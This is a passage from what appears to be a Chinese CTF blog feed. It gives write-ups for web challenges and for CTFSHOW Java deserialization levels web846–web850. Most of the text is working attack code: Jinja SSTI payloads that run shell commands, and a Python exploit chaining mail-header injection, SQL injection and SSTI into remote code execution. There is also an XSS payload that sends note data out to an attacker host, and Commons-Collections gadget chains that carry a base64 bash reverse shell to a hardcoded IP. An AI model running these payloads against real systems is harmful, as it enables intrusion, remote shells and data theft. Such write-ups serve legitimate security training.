&lt;pre&gt;&lt;code&gt;{%set ia=lipsum|escape|batch(22)|first|last%}{%set gl=ia*2&amp;#43;&amp;#34;globals&amp;#34;&amp;#43;ia*2%}{%set bu=ia*2&amp;#43;&amp;#34;builtins&amp;#34;&amp;#43;ia*2%}{%set im=ia*2&amp;#43;&amp;#34;import&amp;#34;&amp;#43;ia*2%}{{g.pop[gl][bu][im](&amp;#34;os&amp;#34;).popen(&amp;#34;cat f*&amp;#34;).read()}}&lt;/code&gt;&lt;/pre&gt;&lt;h1 class="heading-element" id="excellent-site"&gt;&lt;span&gt;Excellent-Site&lt;/span&gt;
 &lt;a href="#excellent-site" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
 imap_server = &amp;#34;ezmail.org&amp;#34;
 imap_port = 143
 try:
 mail = imaplib.IMAP4(imap_server, imap_port)
 mail.login(username, password)
 mail.select(&amp;#34;inbox&amp;#34;)
 status, messages = mail.search(None, &amp;#39;FROM &amp;#34;admin@ezmail.org&amp;#34;&amp;#39;)
 if status != &amp;#34;OK&amp;#34;:
 return &amp;#34;&amp;#34;
 subject = &amp;#34;&amp;#34;
 latest_email = messages[0].split()[-1]
 status, msg_data = mail.fetch(latest_email, &amp;#34;(RFC822)&amp;#34;)
 for response_part in msg_data:
 if isinstance(response_part, tuple):
 msg = email.message_from_bytes(response_part [1])
 subject, encoding = decode_header(msg[&amp;#34;Subject&amp;#34;]) [0]
 if isinstance(subject, bytes):
 subject = subject.decode(encoding if encoding else &amp;#39;utf-8&amp;#39;)
 mail.logout()
 return subject
 except:
 return &amp;#34;ERROR&amp;#34;

def fetch_page_content(url):
 try:
 parsed_url = urlparse(url)
 if parsed_url.scheme != &amp;#39;http&amp;#39; or parsed_url.hostname != &amp;#39;ezmail.org&amp;#39;:
 return &amp;#34;SSRF Attack!&amp;#34;
 response = requests.get(url)
 if response.status_code == 200:
 return response.text
 else:
 return &amp;#34;ERROR&amp;#34;
 except:
 return &amp;#34;ERROR&amp;#34;

@app.route(&amp;#34;/report&amp;#34;, methods=[&amp;#34;GET&amp;#34;, &amp;#34;POST&amp;#34;])
def report():
 message = &amp;#34;&amp;#34;
 if request.method == &amp;#34;POST&amp;#34;:
 url = request.form[&amp;#34;url&amp;#34;]
 content = request.form[&amp;#34;content&amp;#34;]
 smtplib._quote_periods = lambda x: x
 mail_content = &amp;#34;&amp;#34;&amp;#34;From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n&amp;#34;&amp;#34;&amp;#34;
 try:
 server = smtplib.SMTP(&amp;#34;ezmail.org&amp;#34;)
 mail_content = smtplib._fix_eols(mail_content)
 mail_content = mail_content.format(url=url, content=content)
 server.sendmail(&amp;#34;ignored@ezmail.org&amp;#34;, &amp;#34;admin@ezmail.org&amp;#34;, mail_content)
 message = &amp;#34;Submitted! Now wait till the end of the world.&amp;#34;
 except:
 message = &amp;#34;Send FAILED&amp;#34;
 return render_template(&amp;#34;report.html&amp;#34;, message=message)

@app.route(&amp;#34;/bot&amp;#34;, methods=[&amp;#34;GET&amp;#34;])
def bot():
 requests.get(&amp;#34;http://ezmail.org:3000/admin&amp;#34;)
 return &amp;#34;The admin is checking your advice(maybe)&amp;#34;

@app.route(&amp;#34;/admin&amp;#34;, methods=[&amp;#34;GET&amp;#34;])
def admin():
 ip = request.remote_addr
 if ip != &amp;#34;127.0.0.1&amp;#34;:
 return &amp;#34;Forbidden IP&amp;#34;
 subject = get_subjects(&amp;#34;admin&amp;#34;, &amp;#34;p@ssword&amp;#34;)
 if subject.startswith(&amp;#34;http://ezmail.org&amp;#34;):
 page_content = fetch_page_content(subject)
 return render_template_string(f&amp;#34;&amp;#34;&amp;#34;
 &amp;lt;h2&amp;gt;Newest Advice(from myself)&amp;lt;/h2&amp;gt;
 &amp;lt;div&amp;gt;{page_content}&amp;lt;/div&amp;gt;
 &amp;#34;&amp;#34;&amp;#34;)
 return &amp;#34;&amp;#34;

@app.route(&amp;#34;/news&amp;#34;, methods=[&amp;#34;GET&amp;#34;])
def news():
 news_id = request.args.get(&amp;#34;id&amp;#34;)

 if not news_id:
 news_id = 1

 conn = sqlite3.connect(&amp;#34;news.db&amp;#34;)
 cursor = conn.cursor()

 cursor.execute(f&amp;#34;SELECT title FROM news WHERE id = {news_id}&amp;#34;)
 result = cursor.fetchone()
 conn.close()

 if not result:
 return &amp;#34;Page not found.&amp;#34;, 404
 return result[0]

@app.route(&amp;#34;/&amp;#34;)
def index():
 return render_template(&amp;#34;index.html&amp;#34;)

if __name__ == &amp;#34;__main__&amp;#34;:
 app.run(host=&amp;#34;0.0.0.0&amp;#34;, port=3000)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;mail注入+sql注入，首先通过&lt;code&gt;/report&lt;/code&gt;提交的邮件发送方必须是admin@ezmail.org，并且ur必须是&lt;code&gt;http://ezmail.org&lt;/code&gt;开头，这样我们通过&lt;code&gt;/bot&lt;/code&gt;来请求&lt;code&gt;/admin&lt;/code&gt;时会获取指定url的内容，然后通过&lt;code&gt;/news&lt;/code&gt;的sql注入我们可以控制页面的回显，最后构造回显为SSTI Payload来使&lt;code&gt;/admin&lt;/code&gt;触发&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time

target = &amp;#34;http://61.147.171.106:55019&amp;#34;

payload = (
 &amp;#34;http://ezmail.org:3000/news?id=-1 &amp;#34;
 &amp;#34;union select &amp;#39;{{ self.__init__.__globals__.__builtins__.__import__(\&amp;#34;os\&amp;#34;).popen(\&amp;#34;mkdir static;cat /f*&amp;gt;&amp;gt;static/1;sleep 10\&amp;#34;).read() }}&amp;#39;\r\n&amp;#34;
 &amp;#34;From: admin@ezmail.org\r\n&amp;#34;
)

data = {
 &amp;#34;url&amp;#34;: payload,
 &amp;#34;content&amp;#34;: &amp;#34;sleep_test&amp;#34;
}

print(&amp;#34;[&amp;#43;] Sending payload to /report...&amp;#34;)
requests.post(f&amp;#34;{target}/report&amp;#34;, data=data)

print(&amp;#34;[&amp;#43;] Triggering bot...&amp;#34;)
start = time.time()
requests.get(f&amp;#34;{target}/bot&amp;#34;)
end = time.time()

print(f&amp;#34;[&amp;#43;] Time elapsed: {end - start:.2f} seconds&amp;#34;)
print(&amp;#34;[*] If delay &amp;gt;= 5s, RCE likely succeeded!&amp;#34;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202504272316400.png' alt="img"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="eznote"&gt;&lt;span&gt;eznote&lt;/span&gt;
 &lt;a href="#eznote" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;app.post(&amp;#39;/report&amp;#39;, async (req, res) =&amp;gt; {
 let { url } = req.body
 try {
 await visit(url)
 res.send(&amp;#39;success&amp;#39;)
 } catch (err) {
 console.log(err)
 res.send(&amp;#39;error&amp;#39;)
 }
})&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;/report&lt;/code&gt;路由这里未对url进行处理，url会直接传入bot.js的visit&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function visit(url) {
 let browser = await puppeteer.launch({
 headless: HEADLESS,
 executablePath: &amp;#39;/usr/bin/chromium&amp;#39;,
 args: [&amp;#39;--no-sandbox&amp;#39;],
 })
 let page = await browser.newPage()

 await page.goto(&amp;#39;http://localhost:3000/&amp;#39;)

 await page.waitForSelector(&amp;#39;#title&amp;#39;)
 await page.type(&amp;#39;#title&amp;#39;, &amp;#39;flag&amp;#39;, {delay: 100})
 await page.type(&amp;#39;#content&amp;#39;, FLAG, {delay: 100})
 await page.click(&amp;#39;#submit&amp;#39;, {delay: 100})

 await sleep(3)
 console.log(&amp;#39;visiting %s&amp;#39;, url)

 await page.goto(url)
 await sleep(30)
 await browser.close()
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;通过js伪协议打XSS将nots外带，然后获取note/:noteId中的flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:fetch(&amp;#39;/notes&amp;#39;).then(r=&amp;gt;r.text()).then(d=&amp;gt;navigator.sendBeacon(&amp;#39;http://ip:port/&amp;#39;,d))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202504272317690.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;属于非预期&lt;/p&gt;</description></item><item><title>CTFSHOW-Java反序列化</title><link>https://blog.p0l1st.top/post/ctfshow-java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link><pubDate>Wed, 19 Mar 2025 18:53:24 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/ctfshow-java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid><category domain="https://blog.p0l1st.top/categories/ctf/">CTF</category><description>&lt;h1 class="heading-element" id="web846"&gt;&lt;span&gt;web846&lt;/span&gt;
 &lt;a href="#web846" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;ctfshow会对你post提交的&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
构造出对当前题目地址的&lt;strong&gt;dns查询即可&lt;/strong&gt;获得flag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;web-chains，DNS域名改成靶机域名&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855815.png' alt="image-20250318212559858"&gt;&lt;/p&gt;
&lt;p&gt;base64编码后POST传参&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855903.png' alt="image-20250318212901618"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="web847"&gt;&lt;span&gt;web847&lt;/span&gt;
 &lt;a href="#web847" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java7，使用了&lt;strong&gt;commons-collections 3.1&lt;/strong&gt;的库
为了保证业务安全，我删除了nc和curl命令
下面是我接收参数的代码
&lt;code&gt;data=new BASE64Decoder().decodeBuffer(request.getParameter(&amp;quot;ctfshow&amp;quot;));&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;CC1，bash反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ctfshow {
 public static void main(String[] args) throws Exception{
 Transformer[] transformers =new Transformer[]
 {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer(&amp;#34;getMethod&amp;#34;,new Class[]{String.class,Class[].class},new Object[]{&amp;#34;getRuntime&amp;#34;,null}),
 new InvokerTransformer(&amp;#34;invoke&amp;#34;,new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer(&amp;#34;exec&amp;#34;,new Class[]{String.class},new Object[]{&amp;#34;bash -c {echo,YmFzaCAtaSA&amp;#43;JiAvZGV2L3RjcC82MC4yMDUuMS44Ni85MDAwIDA&amp;#43;JjE=}|{base64,-d}|{bash,-i}&amp;#34;})
 };
 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
 HashMap&amp;lt;Object,Object&amp;gt; hashMap=new HashMap&amp;lt;Object,Object&amp;gt;();
 hashMap.put(&amp;#34;value&amp;#34;,chainedTransformer);
 Map&amp;lt;Object,Object&amp;gt; transformedMap =TransformedMap.decorate(hashMap,null,chainedTransformer);
 Class c= Class.forName(&amp;#34;sun.reflect.annotation.AnnotationInvocationHandler&amp;#34;);
 Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class, Map.class);
 annotationInvocationHandler.setAccessible(true);
 Object obj= annotationInvocationHandler.newInstance(Target.class,transformedMap);
 serialize(obj);
 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;URL编码一下&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855886.png' alt="image-20250318235008473"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855851.png' alt="image-20250318235025091"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="web848"&gt;&lt;span&gt;web848&lt;/span&gt;
 &lt;a href="#web848" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java7，使用了&lt;strong&gt;commons-collections 3.1&lt;/strong&gt;的库
为了保证业务安全，我删除了nc和curl命令
甚至不准用TransformedMap类反序列化&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;还是CC3.1，提示不能用TransformedMap类，可以打LazyMapCC1或者其他不包含TransformedMap的链子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.Base64;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import sun.reflect.annotation.*;

public class LazyExpFinal {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class), //构造setValue的可控参数
 new InvokerTransformer(&amp;#34;getMethod&amp;#34;, new Class[]{String.class, Class[].class}, new Object[]{&amp;#34;getRuntime&amp;#34;, null}),
 new InvokerTransformer(&amp;#34;invoke&amp;#34;, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer(&amp;#34;exec&amp;#34;, new Class[]{String.class}, new Object[]{&amp;#34;bash -c {echo,YmFzaCAtaSA&amp;#43;JiAvZGV2L3RjcC82MC4yMDUuMS44Ni85MDAwIDA&amp;#43;JjE=}|{base64,-d}|{bash,-i}&amp;#34;})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap&amp;lt;Object, Object&amp;gt; hashMap = new HashMap&amp;lt;&amp;gt;();
 Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

 Class c = Class.forName(&amp;#34;sun.reflect.annotation.AnnotationInvocationHandler&amp;#34;);
 Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
 declaredConstructor.setAccessible(true);
 InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
 //设置动态代理
 Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
 //触发invoke
 invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
 serialize(invocationHandler);
// unserialize(&amp;#34;ser.bin&amp;#34;);

 }

// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&amp;#34;ser.bin&amp;#34;));
// oos.writeObject(obj);
//
// }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}

 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855913.png' alt="image-20250319003149054"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="web849"&gt;&lt;span&gt;web849&lt;/span&gt;
 &lt;a href="#web849" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;div class="alert alert-note"&gt;&lt;p class="alert-title"&gt;&lt;svg class="icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" width="16" height="16"&gt;&lt;path d="M0 8a8 8 0 1116 0A8 8 0 010 8zm8-6.5a6.5 6.5.0 100 13 6.5 6.5.0 000-13zM6.5 7.75A.75.75.0 017.25 7h1a.75.75.0 01.75.75v2.75h.25a.75.75.0 010 1.5h-2a.75.75.0 010-1.5h.25v-2h-.25a.75.75.0 01-.75-.75zM8 6a1 1 0 110-2 1 1 0 010 2z"/&gt;&lt;/svg&gt;Note&lt;/p&gt;&lt;p&gt;CC链之二，&lt;strong&gt;可以用nc反弹&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java8，使用了&lt;strong&gt;commons-collections 4.0&lt;/strong&gt;的库
为了保证业务安全，我删除了nc和curl命令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;CC4.0，直接打CC2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CC2Exp {
 public static void main(String[] args) throws Exception {
 TemplatesImpl templates = new TemplatesImpl();
 Class templatesClass = templates.getClass();
 Field nameField = templatesClass.getDeclaredField(&amp;#34;_name&amp;#34;);
 nameField.setAccessible(true);
 nameField.set(templates,&amp;#34;p0l1st&amp;#34;);

 Field bytecodesField = templatesClass.getDeclaredField(&amp;#34;_bytecodes&amp;#34;);
 bytecodesField.setAccessible(true);
 byte[] evil = Files.readAllBytes(Paths.get(&amp;#34;E://Calc.class&amp;#34;));
 byte[][] codes = {evil};
 bytecodesField.set(templates,codes);

 Field tfactoryField = templatesClass.getDeclaredField(&amp;#34;_tfactory&amp;#34;);
 tfactoryField.setAccessible(true);
 tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
 InvokerTransformer invokerTransformer = new InvokerTransformer&amp;lt;&amp;gt;(&amp;#34;newTransformer&amp;#34;,new Class[]{},new Object[]{});

 TransformingComparator transformingComparator = new TransformingComparator&amp;lt;&amp;gt;(new ConstantTransformer&amp;lt;&amp;gt;(1));
 PriorityQueue priorityQueue = new PriorityQueue&amp;lt;&amp;gt;(transformingComparator);
 priorityQueue.add(templates);
 priorityQueue.add(&amp;#34;p0l1st&amp;#34;);

 Class c = transformingComparator.getClass();
 Field transformingField = c.getDeclaredField(&amp;#34;transformer&amp;#34;);
 transformingField.setAccessible(true);
 transformingField.set(transformingComparator,invokerTransformer);

 serialize(priorityQueue);
// unserialize(&amp;#34;ser.bin&amp;#34;);


 }
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&amp;#34;ser.bin&amp;#34;));
// oos.writeObject(obj);
// }
public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855856.png' alt="image-20250319004222204"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="web850"&gt;&lt;span&gt;web850&lt;/span&gt;
 &lt;a href="#web850" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java7，使用了&lt;strong&gt;commons-collections 3.1&lt;/strong&gt;的库并对一些可能有危险的类进行了封禁，
为了保证业务安全，我删除了nc和curl命令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意是java7，用CC3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -jar ysoserial.jar CommonsCollections3 &amp;#34;bash -c {echo,YmFzaCAtaSA&amp;#43;JiAvZGV2L3RjcC82MC4yMDUuMS44Ni85MDAwIDA&amp;#43;JjE=}|{base64,-d}|{bash,-i}&amp;#34;|base64&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855661.png' alt="image-20250319164603499"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="web851"&gt;&lt;span&gt;web851&lt;/span&gt;
 &lt;a href="#web851" class="heading-mark"&gt;
